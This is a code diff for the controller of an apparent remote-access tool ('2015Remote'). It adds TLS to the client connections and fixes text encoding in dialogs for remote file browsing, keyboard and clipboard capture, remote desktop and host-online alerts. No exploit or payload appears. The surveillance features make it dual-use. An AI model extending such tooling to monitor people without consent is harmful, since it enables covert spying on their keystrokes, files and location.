+    lv.mask = LVIF_TEXT;
+    lv.iItem = iItem;
+    lv.iSubItem = iSubItem;
+    lv.pszText = w.empty() ? const_cast<LPWSTR>(L"") : &w[0];
+    ::SendMessageW(list.GetSafeHwnd(), LVM_SETITEMTEXTW, (WPARAM)iItem, (LPARAM)&lv);
+}
+
 BOOL CFileManagerDlg::OnInitDialog()
 {
     __super::OnInitDialog();
@@ -1104,6 +1125,9 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
 
 void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
 {
+    CString clientType = m_ContextObject->GetAdditionalData(RES_CLIENT_TYPE);
+    UINT cp = (clientType == _T("LNX") || clientType == _T("MAC")) ? CP_UTF8 : 936;
+
     // 重新设置ImageList
     SHFILEINFO	sfi = {};
     HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON);
@@ -1151,7 +1175,8 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
                 pszFileName = ++pList;
 
                 if (bIsInsert) {
-                    nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType));
+                    nItem = m_list_remote.InsertItem(nItemIndex++, "", GetIconIndex(pszFileName, nType));
+                    SetFileTextItem(m_list_remote, nItem, 0, pszFileName, cp);
                     m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
                     SHFILEINFO	sfi = {};
                     SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
@@ -1184,6 +1209,9 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
 
 void CFileManagerDlg::FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLen)
 {
+    CString clientType = m_ContextObject->GetAdditionalData(RES_CLIENT_TYPE);
+    UINT cp = (clientType == _T("LNX") || clientType == _T("MAC")) ? CP_UTF8 : 936;
+
     // 第一批结果到达时，初始化搜索列表
     if (!m_bSearching) {
         m_bSearching = true;
@@ -1241,7 +1269,8 @@ void CFileManagerDlg::FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLe
                 }
             }
 
-            int nItem = m_list_remote.InsertItem(m_nSearchResultCount, csFileName, nIcon);
+            int nItem = m_list_remote.InsertItem(m_nSearchResultCount, "", nIcon);
+            SetFileTextItem(m_list_remote, nItem, 0, csFileName, cp);
             m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
 
             pList += lstrlen(pszFullPath) + 1;
@@ -1261,7 +1290,7 @@ void CFileManagerDlg::FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLe
             m_list_remote.SetItemText(nItem, 2, time.FormatL("%Y-%m-%d %H:%M"));
 
             // 路径
-            m_list_remote.SetItemText(nItem, 3, csDir);
+            SetFileTextItem(m_list_remote, nItem, 3, csDir, cp);
 
             pList += 16;
             m_nSearchResultCount++;
@@ -3329,7 +3358,7 @@ void CFileManagerDlg::OnTransferV2ToRemote()
             g_2015RemoteDlg->SendFilesToClientV2(mainCtx, files, remoteDir);
             ShowMessage(_TRF("V2传输已启动，共 %d 个文件 -> %s"), (int)files.size(), remoteDir.c_str());
         } else {
-            ShowMessage(_TRF("找不到主连接: clientID=%llu"), clientID);
+            ShowMessage(_TRF("找不到主连接: clientID %llu"), clientID);
         }
     }
 }

server/2015Remote/HostJson.cpp

@@ -69,8 +69,9 @@ Json::Value BuildHostJson(context* ctx, _ClientList* clientMap) {
     CString os = ctx->GetClientData(ONLINELIST_OS);
     device["os"] = AnsiToUtf8(os);
 
+    // 地理位置已统一按 UTF-8 存储（见 AddList），直接透传，不再 CP_ACP→UTF-8 二次转换。
     CString location = ctx->GetClientData(ONLINELIST_LOCATION);
-    device["location"] = AnsiToUtf8(location);
+    device["location"] = std::string(location.GetString());
 
     CString rtt = ctx->GetClientData(ONLINELIST_PING);
     device["rtt"] = AnsiToUtf8(rtt);

server/2015Remote/IOCPKCPServer.cpp

@@ -124,7 +124,7 @@ void IOCPKCPServer::WorkerThread()
                     }
                     if (n > 0&& m_notify) {
                         memcpy(ctx->szBuffer, recvbuf, n);
-                        BOOL ret = ParseReceivedData(ctx, n, m_notify);
+                        BOOL ret = ParseReceivedData(ctx, (PBYTE)ctx->szBuffer, n, m_notify);
                     }
                 } while (n>0);
             }

server/2015Remote/IOCPServer.cpp

@@ -3,6 +3,7 @@
 #include "2015Remote.h"
 #include "common/IPWhitelist.h"
 #include "common/IPBlacklist.h"
+#include "ServerTlsSession.h"
 
 #include <iostream>
 #include <ws2tcpip.h>
@@ -483,6 +484,11 @@ UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
     m_nPort = uPort;
     m_NotifyProc = NotifyProc;
     m_OfflineProc = OffProc;
+
+    // 单向 TLS：启动时加载服务端身份（证书+私钥）。加载失败时 IsLoadError()==true，
+    // 明文客户端不受影响，TLS ClientHello 会被识别并 fail-closed 关闭（见设计文档 §5.2）。
+    ServerTlsIdentity::Load(THIS_CFG);
+
     // manual-reset：本进程内可能有多个等待者（ListenThread / RttPollThreadProc）。
     // 自动重置会让 SetEvent 只唤醒一个等待者，另一个要等自身 timeout（≤1s）。
     // 改 manual-reset 后所有等待者一次性醒来；本工程从无 ResetEvent 调用，无副作用。
@@ -793,16 +799,16 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT  ContextObject, DWORD dwTr
 }
 
 // May be this function should be a member of `CONTEXT_OBJECT`.
-BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx* m_Dctx, z_stream* z)
+BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, PBYTE data, DWORD dataLen, pfnNotifyProc m_NotifyProc, ZSTD_DCtx* m_Dctx, z_stream* z)
 {
     AUTO_TICK(50, ContextObject->GetPeerName());
     BOOL ret = 1;
     try {
-        if (dwTrans == 0) {  //对方关闭了套接字
+        if (dataLen == 0) {  //对方关闭了套接字
             return FALSE;
         }
         //将接收到的数据拷贝到我们自己的内存中wsabuff    8192
-        ContextObject->InCompressedBuffer.WriteBuffer((PBYTE)ContextObject->szBuffer,dwTrans);
+        ContextObject->InCompressedBuffer.WriteBuffer(data, dataLen);
         //查看数据包的完整性
         while (true) {
             PR pr = ContextObject->Parse(ContextObject->InCompressedBuffer);
@@ -889,18 +895,178 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
     return ret;
 }
 
-BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream* z)
+// 握手线程参数：把嗅探阶段已收到的 ClientHello 字节与连接上下文一起移交。
+struct TlsHandshakeParam {
+    IOCPServer* server;
+    CONTEXT_OBJECT* ctx;
+    std::vector<BYTE> initial;   // 嗅探阶段已攒下的首批字节（≥6，可能只是 ClientHello 分片）
+};
+
+// 方案 A：专用阻塞握手线程。占线期间独占 socket（阻塞 recv/send，无未决 overlapped I/O），
+// 完成后把连接交还给 IOCP（PostRecv）。线程持有 ctx 的一枚 IoRefCount，结束时释放。
+DWORD WINAPI IOCPServer::TlsHandshakeThreadProc(LPVOID lParam)
 {
-    if (FALSE == ParseReceivedData(ContextObject, dwTrans, m_NotifyProc, ctx, z)) {
-        // 先减少引用计数，再调用 RemoveStaleContext (#215)
-        // RemoveStaleContext 完成后对象会被移到空闲池，不能再访问
-        ContextObject->IoRefCount.fetch_sub(1);
-        RemoveStaleContext(ContextObject);
-        return -2;  // 特殊返回值：告诉 HandleIO 不要再减少引用计数
+    TlsHandshakeParam* p = (TlsHandshakeParam*)lParam;
+    IOCPServer* This = p->server;
+    CONTEXT_OBJECT* ctx = p->ctx;
+    std::vector<BYTE> initial = std::move(p->initial);
+    delete p;
+
+    // 若上下文已被移除（服务端关停竞态），直接释放引用退出。
+    if (ctx->IsRemoved.load(std::memory_order_acquire)) {
+        ctx->IoRefCount.fetch_sub(1);
+        return 0;
     }
 
-    PostRecv(ContextObject); //投递新的接收数据的请求
+    // 握手期间做同步 recv/send。注意：监听套接字经 WSAEventSelect 置为非阻塞后，accept 出的
+    // 子套接字继承非阻塞态，FIONBIO=0 不一定能切回阻塞；ServerTlsSession::Handshake 内部已用
+    // select 兜底 WSAEWOULDBLOCK，故这里仍设 FIONBIO=0 只是「尽量阻塞」的优化。
+    u_long nb = 0;
+    if (ioctlsocket(ctx->sClientSocket, FIONBIO, &nb) == SOCKET_ERROR)
+        Mprintf("[TLS] handshake: ioctlsocket(FIONBIO=0) failed err=%d\n", WSAGetLastError());
+    int tmo = 15000;   // 15s 握手超时
+    setsockopt(ctx->sClientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&tmo, sizeof(tmo));
+    setsockopt(ctx->sClientSocket, SOL_SOCKET, SO_SNDTIMEO, (const char*)&tmo, sizeof(tmo));
 
+    bool ok = (ctx->tls != NULL) &&
+              ctx->tls->Handshake(ctx->sClientSocket, initial.data(), (int)initial.size());
+
+    if (ok) {
+        ctx->tlsState.store(TLS_Ready, std::memory_order_release);
+    }
+
+    // 先释放握手线程持有的引用，再触发任何可能 RemoveStaleContext 的动作（#215 顺序）。
+    ctx->IoRefCount.fetch_sub(1);
+
+    if (ok) {
+        This->PostRecv(ctx);   // 交还 IOCP 接收
+    } else {
+        Mprintf("[TLS] handshake failed for %s (fail-closed)\n", ctx->GetPeerName().c_str());
+        This->RemoveStaleContext(ctx);
+    }
+    return 0;
+}
+
+// 判定为 TLS 后：创建会话、预支一枚 IoRefCount 给握手线程、启动握手线程。
+BOOL IOCPServer::StartTlsHandshake(CONTEXT_OBJECT* ContextObject)
+{
+    if (!ServerTlsIdentity::IsReady()) {
+        // 服务端身份不可用（未启用 TLS、或证书/私钥加载失败）：fail-closed 关闭该连接。
+        Mprintf("[TLS] client %s sent ClientHello but server identity not ready "
+                "(TLS disabled or cert/key load failed); closing (fail-closed)\n",
+                ContextObject->GetPeerName().c_str());
+        return FALSE;
+    }
+
+    ContextObject->tls = new ServerTlsSession();
+    TlsHandshakeParam* p = new TlsHandshakeParam;
+    p->server = this;
+    p->ctx = ContextObject;
+    p->initial = std::move(ContextObject->tlsPreClassify);
+    ContextObject->tlsPreClassify.clear();
+
+    // 预支引用：握手线程结束时释放。此引用保证握手期间对象不被回收。
+    ContextObject->IoRefCount.fetch_add(1);
+
+    HANDLE h = CreateThread(NULL, 0, TlsHandshakeThreadProc, p, 0, NULL);
+    if (h == NULL) {
+        // 启动失败：回退预支引用，清理会话，按失败关闭。
+        ContextObject->IoRefCount.fetch_sub(1);
+        delete ContextObject->tls;
+        ContextObject->tls = NULL;
+        return FALSE;
+    }
+    CloseHandle(h);
+    return TRUE;
+}
+
+BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream* z)
+{
+    int st = ContextObject->tlsState.load(std::memory_order_acquire);
+
+    // ---- 未分类：按 ClientHello 头嗅探明文 / TLS（见设计文档 §5.2）----
+    if (st == TLS_Unclassified) {
+        if (dwTrans == 0) {   // 首个包即对端关闭
+            ContextObject->IoRefCount.fetch_sub(1);
+            RemoveStaleContext(ContextObject);
+            return -2;
+        }
+        ContextObject->tlsPreClassify.insert(ContextObject->tlsPreClassify.end(),
+                                             (BYTE*)ContextObject->szBuffer,
+                                             (BYTE*)ContextObject->szBuffer + dwTrans);
+        if (ContextObject->tlsPreClassify.size() < 6) {
+            PostRecv(ContextObject);   // 头还没攒够，继续收
+            return TRUE;
+        }
+        const BYTE* h = ContextObject->tlsPreClassify.data();
+        bool isTls = (h[0] == 0x16 && h[1] == 0x03 && h[5] == 0x01);
+        if (isTls) {
+            ContextObject->tlsState.store(TLS_Handshaking, std::memory_order_release);
+            if (!StartTlsHandshake(ContextObject)) {
+                Mprintf("[TLS] StartTlsHandshake failed for %s (fail-closed)\n",
+                        ContextObject->GetPeerName().c_str());
+                ContextObject->IoRefCount.fetch_sub(1);
+                RemoveStaleContext(ContextObject);
+                return -2;
+            }
+            return TRUE;   // 不 PostRecv；握手线程完成后交还接收
+        }
+
+        // 明文：把嗅探阶段攒下的字节回放给现有解析路径，然后清空缓冲。
+        ContextObject->tlsState.store(TLS_Plain, std::memory_order_release);
+        std::vector<BYTE> replay = std::move(ContextObject->tlsPreClassify);
+        ContextObject->tlsPreClassify.clear();
+        if (FALSE == ParseReceivedData(ContextObject, replay.data(), (DWORD)replay.size(), m_NotifyProc, ctx, z)) {
+            ContextObject->IoRefCount.fetch_sub(1);
+            RemoveStaleContext(ContextObject);
+            return -2;
+        }
+        PostRecv(ContextObject);
+        return TRUE;
+    }
+
+    // ---- 已分类 ----
+    if (st == TLS_Ready) {
+        if (dwTrans == 0) {   // 明文 FIN：TLS 连接对端关闭
+            ContextObject->IoRefCount.fetch_sub(1);
+            RemoveStaleContext(ContextObject);
+            return -2;
+        }
+        std::vector<BYTE> plain;
+        if (ContextObject->tls->Decrypt((const BYTE*)ContextObject->szBuffer, dwTrans, plain) < 0) {
+            ContextObject->IoRefCount.fetch_sub(1);
+            RemoveStaleContext(ContextObject);
+            return -2;
+        }
+        if (plain.empty()) {
+            PostRecv(ContextObject);   // 本轮无完整明文（TLS 记录分片/握手告警），继续收
+            return TRUE;
+        }
+        if (FALSE == ParseReceivedData(ContextObject, plain.data(), (DWORD)plain.size(), m_NotifyProc, ctx, z)) {
+            ContextObject->IoRefCount.fetch_sub(1);
+            RemoveStaleContext(ContextObject);
+            return -2;
+        }
+        PostRecv(ContextObject);
+        return TRUE;
+    }
+
+    // TLS_Handshaking：握手线程独占 socket，正常不应出现 IORead；若出现属异常，fail-closed。
+    if (st == TLS_Handshaking) {
+        Mprintf("[TLS] unexpected IORead during handshake for %s (closing)\n",
+                ContextObject->GetPeerName().c_str());
+        ContextObject->IoRefCount.fetch_sub(1);
+        RemoveStaleContext(ContextObject);
+        return -2;
+    }
+
+    // TLS_Plain：明文直通（原路径）。
+    if (FALSE == ParseReceivedData(ContextObject, (PBYTE)ContextObject->szBuffer, dwTrans, m_NotifyProc, ctx, z)) {
+        ContextObject->IoRefCount.fetch_sub(1);
+        RemoveStaleContext(ContextObject);
+        return -2;
+    }
+    PostRecv(ContextObject);
     return TRUE;
 }
 
@@ -967,15 +1133,49 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
 
 BOOL IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength)
 {
+    // TLS 下 OutCompressedBuffer 可能还残留上一轮尚未发完的密文（IOCP 线程异步 WSASend 中），
+    // 新明文由 WriteContextData 追加在尾部。若把整个缓冲区重新加密，会把旧密文二次加密，
+    // 客户端解密后得到的是「旧 TLS 记录」→ Unknown header 17 03 03。故只加密本次新追加的尾部。
+    bool tlsReady = (ContextObject->tlsState.load(std::memory_order_acquire) == TLS_Ready);
+    ULONG oldLen = tlsReady ? ContextObject->OutCompressedBuffer.GetBufferLength() : 0;
+
     if (WriteContextData(ContextObject, szBuffer, ulOriginalLength, ContextObject->Zcctx)) {
-        OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
-        BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol);
-        if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) { //如果投递失败
-            int a = GetLastError();
-            Mprintf("!!! OnClientPreSending 投递消息失败\n");
-            RemoveStaleContext(ContextObject);
-            SAFE_DELETE(OverlappedPlus);
-            return FALSE;
+        // 单向 TLS：只加密新追加的明文尾部，产出密文后与前缀旧密文拼接，使缓冲区始终保持
+        // 一串合法 TLS 记录；之后 IOWrite / OnClientPostSending 完全不变（见设计文档 §5.5）。
+        if (tlsReady) {
+            ULONG totalLen = ContextObject->OutCompressedBuffer.GetBufferLength();
+            ULONG plainLen = totalLen - oldLen;
+            if (plainLen > 0) {
+                std::vector<BYTE> wire;
+                if (ContextObject->tls->Encrypt((const BYTE*)ContextObject->OutCompressedBuffer.GetBuffer(oldLen),
+                                                (int)plainLen, wire) != (int)plainLen) {
+                    Mprintf("[TLS] Encrypt failed for %s (fail-closed)\n",
+                            ContextObject->GetPeerName().c_str());
+                    return FALSE;   // 加密失败：丢弃本次发送
+                }
+                // 截断尾部明文，再追加密文。用 TruncateBuffer 而非 ClearBuffer：ClearBuffer 会
+                // DeAllocateBuffer（可能 VirtualFree 正在被异步 WSASend 引用的底层内存）。
+                ContextObject->OutCompressedBuffer.TruncateBuffer(oldLen);
+                ContextObject->OutCompressedBuffer.WriteBuffer(wire.data(), (DWORD)wire.size());
+            }
+        }
+
+        // 仅当没有发送正在进行时才投递 IOWrite 唤醒发送。若已有 WSASend 在途，其完成回调
+        // （OnClientPostSending）会看到排空后仍残留的新数据并继续发送，无需再投递；否则会对
+        // 同一缓冲并发多个 WSASend，读到同一段可变内存，产出重复/错位密文（客户端 DecryptMessage
+        // 失败，表现为 recv -1、GetLastError=6001）。
+        if (!ContextObject->bSendPending) {
+            ContextObject->bSendPending = true;
+            OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
+            BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol);
+            if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) { //如果投递失败
+                int a = GetLastError();
+                Mprintf("!!! OnClientPreSending 投递消息失败\n");
+                ContextObject->bSendPending = false;
+                RemoveStaleContext(ContextObject);
+                SAFE_DELETE(OverlappedPlus);
+                return FALSE;
+            }
         }
         return TRUE;
     }
@@ -990,6 +1190,7 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
 
         ContextObject->OutCompressedBuffer.RemoveCompletedBuffer(ulCompletedLength); //将完成的数据从数据结构中去除
         if (ContextObject->OutCompressedBuffer.GetBufferLength() == 0) {
+            ContextObject->bSendPending = false;         // 缓冲排空，允许下一次 OnClientPreSending 投递
             ContextObject->OutCompressedBuffer.ClearBuffer();
             return true;		                             //走到这里说明我们的数据真正完全发送
         } else {
@@ -1001,6 +1202,7 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
                               NULL, ulFlags,&OverlappedPlus->m_ol, NULL);
             if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) {
                 // 先减少引用计数，再调用 RemoveStaleContext (#215)
+                ContextObject->bSendPending = false;
                 ContextObject->IoRefCount.fetch_sub(1);
                 if (RemoveStaleContext(ContextObject))
                     Mprintf("!!! OnClientPostSending 投递消息失败: %d\n", WSAGetLastError());

server/2015Remote/IOCPServer.h

@@ -91,6 +91,7 @@ private:
     static DWORD WINAPI ListenThreadProc(LPVOID lParam);
     static DWORD WINAPI WorkThreadProc(LPVOID lParam);
     static DWORD WINAPI RttPollThreadProc(LPVOID lParam);
+    static DWORD WINAPI TlsHandshakeThreadProc(LPVOID lParam);
 
     BOOL InitializeIOCP(VOID);
     VOID OnAccept();
@@ -101,6 +102,7 @@ private:
     BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream *z);
     BOOL OnClientInitializing(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans);
     BOOL OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream* z);
+    BOOL StartTlsHandshake(CONTEXT_OBJECT* ContextObject);
     BOOL OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
     BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject, ULONG ulCompressedLength);
     int AddWorkThread(int n)
@@ -257,6 +259,8 @@ public:
 
 typedef CDialogBase DialogBase;
 
-BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx *ctx=NULL, z_stream* z=NULL);
+// 解析一段已解密/直通的接收字节。data/dataLen 为数据源（TLS 连接传解密后的明文，
+// 明文连接传 szBuffer 原始字节）；dataLen==0 视为对端关闭。
+BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, PBYTE data, DWORD dataLen, pfnNotifyProc m_NotifyProc, ZSTD_DCtx *ctx=NULL, z_stream* z=NULL);
 
 BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength, ZSTD_CCtx *ctx=NULL, z_stream* z = NULL);

server/2015Remote/IOCPUDPServer.cpp

@@ -107,7 +107,7 @@ void IOCPUDPServer::WorkerThread()
 
         IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
         CONTEXT_UDP* ctx = ioCtx->pContext;
-        BOOL ret = ParseReceivedData(ctx, bytes, m_notify);
+        BOOL ret = ParseReceivedData(ctx, (PBYTE)ctx->szBuffer, bytes, m_notify);
         if (999 != ret)
             ctx->Destroy();
 

server/2015Remote/KeyBoardDlg.cpp

@@ -123,6 +123,9 @@ BOOL CKeyBoardDlg::OnInitDialog()
     // 后，控件内部以 Unicode 存储，W 版消息直通，不再走 CP_ACP。
     // -----------------------------------------------------------------
     RebuildEdit(m_edit);
+    // 剪切板显示框同样重建为 Unicode 控件，ShowClipboardText 全程走 W 版消息，
+    // 否则 MBCS 下 SetWindowTextA 会在 A<->W 边界按 CP_ACP 转码，中文丢失。
+    RebuildEdit(m_EditClipText);
 
     m_edit.SetLimitText(MAXDWORD); // 设置最大长度
     auto rule = utf8_to_ansi((char*)m_TextRule.param);
@@ -171,9 +174,19 @@ void CKeyBoardDlg::OnReceiveComplete()
 LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam)
 {
     char* buf = (char*)wParam;
-    std::string text = utf8_to_ansi(buf);
+    // 剪切板文本是 UTF-8（client/my_clip.h 的 clip::get_text 从 CF_UNICODETEXT 转出）。
+    // 直接转宽字符串，用 W 版写入重建后的 Unicode 控件，绕开 utf8_to_ansi 的 CP_ACP
+    // 回转——非中文系统（德语/英语）上中文也能正常显示（与 m_edit 同法）。
+    std::wstring w;
+    if (buf && buf[0]) {
+        int wlen = MultiByteToWideChar(CP_UTF8, 0, buf, -1, NULL, 0);
+        if (wlen > 1) {
+            w.resize(wlen - 1);
+            MultiByteToWideChar(CP_UTF8, 0, buf, -1, &w[0], wlen);
+        }
+    }
     SAFE_DELETE_ARRAY(buf);
-    m_EditClipText.SetWindowTextA(text.c_str());
+    ::SetWindowTextW(m_EditClipText.GetSafeHwnd(), w.c_str());
     return S_OK;
 }
 

server/2015Remote/LangManager.h

@@ -723,11 +723,11 @@ protected:
         AppendData(&dlgTemplate, sizeof(DLGTEMPLATE));
         AppendWord(0);  // 菜单
         AppendWord(0);  // 窗口类
-        AppendString(_T("切换语言 / Switch Language"));
+        AppendString(_T("切换语言"));
         AlignToDword();
 
         // 静态文本
-        AddControl(0x0082, 15, 15, 50, 12, (WORD)-1,
+        AddControl(0x0082, 15, 15, 50, 12, 1002,
                    SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:"));
 
         // ComboBox
@@ -796,8 +796,17 @@ protected:
     {
         CDialog::OnInitDialog();
 
-        // 翻译对话框控件（标题、标签、按钮）
-        TranslateDialog(this);
+        // 模板为动态构造的 Unicode 模板，MBCS 下被 ANSI 创建路径误读，标题/标签/按钮文字会乱码，
+        // 故在此显式设置（走线程 locale GBK，与其它对话框同法），不再对已乱码文本调用 TranslateDialog。
+        // 标题含中文：非中文系统上 ANSI 消息按系统 ACP 解码会乱码，用 _TR 取翻译（中文→切换语言，
+        // 英语→Switch Language）后，显式 GBK(936)→Unicode 转换再用 Unicode 消息设置（与工具栏同法）。
+        CString strTitle = _TR("切换语言");
+        WCHAR wTitle[64] = { 0 };
+        MultiByteToWideChar(936, 0, strTitle, -1, wTitle, 64);
+        ::SetWindowTextW(m_hWnd, wTitle);
+        SetDlgItemText(1002,     _TR("语言:"));
+        SetDlgItemText(IDOK,     _TR("确定"));
+        SetDlgItemText(IDCANCEL, _TR("取消"));
 
         m_comboLang.SubclassDlgItem(1001, this);
 

server/2015Remote/NotifyManager.cpp

@@ -205,7 +205,8 @@ void NotifyManager::BuildHostOnlineEmail(context* ctx, const std::string& matche
     // Get host info
     std::string computerName = CT2A(ctx->GetClientData(ONLINELIST_COMPUTER_NAME), CP_UTF8);
     std::string ip = CT2A(ctx->GetClientData(ONLINELIST_IP), CP_UTF8);
-    std::string location = CT2A(ctx->GetClientData(ONLINELIST_LOCATION), CP_UTF8);
+    // 地理位置已统一按 UTF-8 存储（见 AddList），直接透传，不再 CP_ACP→UTF-8 二次转换。
+    std::string location = ctx->GetClientData(ONLINELIST_LOCATION).GetString();
     std::string os = CT2A(ctx->GetClientData(ONLINELIST_OS), CP_UTF8);
     std::string version = CT2A(ctx->GetClientData(ONLINELIST_VERSION), CP_UTF8);
 

server/2015Remote/PluginSettingsDlg.cpp

@@ -102,6 +102,10 @@ void CPluginSettingsDlg::InitListCtrl()
     GetDlgItem(IDC_STATIC_PLUGIN_INTERVAL)->SetWindowText(_TR("间隔(秒):"));
     GetDlgItem(IDC_STATIC_PLUGIN_COUNTER)->SetWindowText(_TR("最大次数:"));
     SetWindowText(_TR("插件设置"));
+
+    // 按钮文字来自对话框模板，非中文系统上会被系统 ACP 转成 "??"，须显式设置（参照 NotifySettingsDlg）
+    SetDlgItemText(IDC_BTN_SAVE, _TR("保存"));
+    SetDlgItemText(IDOK, _TR("关闭"));
 }
 
 void CPluginSettingsDlg::LoadPluginsToList()

server/2015Remote/QualityLevelsDlg.h

@@ -124,11 +124,31 @@ protected:
     {
         CDialog::OnInitDialog();
 
+        // 非中文系统上 MBCS 对话框模板的中文会被系统 ACP 转成 "?"，TranslateDialog
+        // 拿到的是已乱码文本无法还原，故在此显式设置（参照 NotifySettingsDlg）。
+        // 均经 _TR/_L 支持多语言翻译。
+        SetWindowText(_TR("远程桌面质量等级"));
+        SetDlgItemText(IDC_QLEVEL_LABEL_LEVEL,   _TR("等级"));
+        SetDlgItemText(IDC_QLEVEL_LABEL_FPS,     _TR("帧率(FPS)"));
+        SetDlgItemText(IDC_QLEVEL_LABEL_WIDTH,   _TR("最大宽度"));
+        SetDlgItemText(IDC_QLEVEL_LABEL_ALGO,    _TR("编码算法"));
+        SetDlgItemText(IDC_QLEVEL_LABEL_BITRATE, _TR("码率(kbps)"));
+        static const TCHAR* kLevelNames[QUALITY_COUNT] = {
+            _T("Ultra 极佳"), _T("High 优秀"), _T("Good 良好"),
+            _T("Medium 一般"), _T("Low 较差"), _T("Minimal 最低")
+        };
+        for (int i = 0; i < QUALITY_COUNT; i++)
+            SetDlgItemText(IDC_QLEVEL_LABEL_LEVEL0 + i, _L(kLevelNames[i]));
+        SetDlgItemText(IDC_QLEVEL_LABEL_HINT,
+            _TR("最大宽度 0 表示原始分辨率；DIFF/RGB565 适合局域网，H264 适合跨网"));
+        SetDlgItemText(IDC_QLEVEL_RESET, _TR("恢复默认"));
+        SetDlgItemText(IDOK,              _TR("确定"));
+        SetDlgItemText(IDCANCEL,          _TR("取消"));
+
         for (int i = 0; i < QUALITY_COUNT; i++) {
             m_working[i] = m_profiles[i];
         }
         LoadToControls();
-        TranslateDialog(this);
         return TRUE;
     }
 

server/2015Remote/SearchBarDlg.cpp

@@ -277,6 +277,12 @@ void CSearchBarDlg::DoSearch()
                 colText = ctx->GetClientData(col);
             }
 
+            // 地理位置列已统一按 UTF-8 存储（见 AddList），而搜索输入是 CP_ACP；
+            // 转回 CP_ACP 再比对，否则按中文位置搜索会因编码不一致而失配。
+            if (col == ONLINELIST_LOCATION) {
+                colText = CString(Utf8ToAnsi(std::string(colText.GetString())).c_str());
+            }
+
             colText.MakeLower();
             if (colText.Find(searchText) >= 0) {
                 matched = true;

server/2015Remote/Server.h

@@ -329,6 +329,17 @@ public:
 #define PREALLOC_DECOMPRESS_SIZE (4 * 1024)
 
 #include "context.h"
+
+// 每连接传输层状态（单向 TLS，见 docs/TransportTLS_MFCServer_Design.md §5.2）。
+// 明文与 TLS 客户端在同一端口共存：首包按 ClientHello 头嗅探分派。
+enum ServerTlsState {
+    TLS_Unclassified = 0,   // 尚未收到足够字节判定（缓冲 tlsPreClassify）
+    TLS_Plain = 1,          // 明文客户端，直通现有解析路径
+    TLS_Handshaking = 2,    // TLS 客户端，握手线程阻塞 AcceptSecurityContext 中
+    TLS_Ready = 3,          // TLS 握手完成，收包解密 / 发包加密
+};
+class ServerTlsSession;     // 定义见 ServerTlsSession.h（避免把 Schannel 头拖进本文件）
+
 typedef class CONTEXT_OBJECT : public context
 {
 public:
@@ -341,6 +352,7 @@ public:
         FreeDecompressBuffer();
         FreeCompressBuffer();
         FreeSendCompressBuffer();
+        FreeTls();
         if (Zcctx) {
             ZSTD_freeCCtx(Zcctx);
             Zcctx = nullptr;
@@ -377,6 +389,11 @@ public:
     ikcpcb*				kcp = nullptr;				// 新增，指向KCP会话
     std::string			GroupName;					// 分组名称
     CLock               SendLock;                   // fix #214
